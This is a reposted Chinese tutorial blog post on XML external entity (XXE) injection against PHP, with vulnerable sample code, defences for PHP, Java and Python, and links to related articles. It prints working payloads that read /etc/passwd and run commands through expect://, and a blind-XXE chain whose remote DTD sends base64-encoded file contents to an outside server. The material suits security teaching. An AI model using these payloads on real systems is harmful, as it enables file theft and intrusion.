XXE-XML外部实体注入

Posted H3rmesk1t

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XXE-XML外部实体注入相关的知识,希望对你有一定的参考价值。

环境

php 7.0.30、Libxml 2.8.0(Libxml2.9.0以后默认不解析外部实体,对于PHP版本不影响XXE的利用)

原理介绍

XML 被设计为传输和存储数据,其焦点是数据的内容,html 被设计用来显示数据,其焦点是数据的外观,HTML 旨在显示信息,而 XML旨在传输信息
XML特点:XML 被设计用来结构化、存储以及传输信息,仅仅是纯文本,有能力处理纯文本的软件都可以处理 XML,XML允许创作者定义自己的标签和自己的文档结构,XML 是独立于软件和硬件的信息传输工具,所有现代浏览器都有读取和操作 XML 的内建 XML解析器,但是不同的浏览器解析的方法不一样的,如在IE中使用loadXML()方法,在其他浏览器中使用DOMParser
loadXML()方法用于加载字符串文本,load()方法用于加载文件,解析器把XML 载入内存,然后把它转换为可通过 javascript 访问的 XML DOM 对象

漏洞危害

  1. 读取任意文件
    file 协议:file:///etc//passwd
    php 协议:php://filter/read=convert.base64-encode/resource=index.php
  2. 执行系统命令
    部分情况会有,在特殊的配置环境下,如PHP环境中PHP的expect模块被加载到了易受攻击的系统或者能处理XML的应用中,就能执行命令,简单payload如下
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://ifconfig" >]>
<root>
<name>&xxe;</name>
</root>
  1. 探测内网端口
    借助漏洞实现内网探测,常见payload如下
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "http://192.168.199.100:80">]>
<root>
<name>&xxe;</name>
</root>
  1. 攻击内网网站(dos或者直接吃服务器资源导致无法正常服务)

例子

有回显

  • 源码
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);

echo $xml->name;
  • Payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

在这里插入图片描述

无回显

无回显的XXE利用必须借助外部服务器把回显内容带出来,这种的XXE也称为 blind XXE

  • 源码
<?php
$data = file_get_contents('php://input');

$dom = new DOMDocument();
$dom->loadXML($data);

在这里插入图片描述

如果直接执行的话是没有任何回显的,可以使用http协议将请求发送到远程服务器上,从而获取文件内容
首先在远程服务器写入一个dtd文件,例如test.dtd,文件内容如下

注意:%号需要实体16进制编码为&#x25;
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://192.168.2.1/%file;'>">

利用Payload,将数据外带到服务端

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.2.1/test.dtd">
%remote;%int;%send;
]>

在这里插入图片描述

执行逻辑大概如下:

  1. 从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote先调用,调用后请求远程服务器上的test.dtd ,有点类似于将 test.dtd包含进来
  2. %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件
  3. 将 %file 的结果填入到 %send 以后 (因为实体的值中不能有 %, 所以将其转成html实体编码 &#x25;),
  4. 再调用 %send; 把我们的读取到的数据以GET请求的方式发送到我们的服务器上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题

解决方案和建议

  1. 使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  1. 过滤用户提交的XML数据
<!DOCTYPE和<!ENTITY,SYSTEM和PUBLIC

更进一步的学习XXE

更进一步的学习XXE的相关知识和利用方式可以参考这篇文章中的内容:链接地址

以上是关于XXE-XML外部实体注入的主要内容,如果未能解决你的问题,请参考以下文章

网络安全-常见面试题(Web渗透测试密码学等)

HP fortify XML 外部实体注入

如何防止 TransformerFactory 上的 XML 外部实体注入

网络安全-常见面试题(Web渗透测试密码学Linux等)

XXE外部实体注入(XML External Entity Injection)学习笔记

spring练习,在Eclipse搭建的Spring开发环境中,使用set注入方式,实现对象的依赖关系,通过ClassPathXmlApplicationContext实体类获取Bean对象(代码片段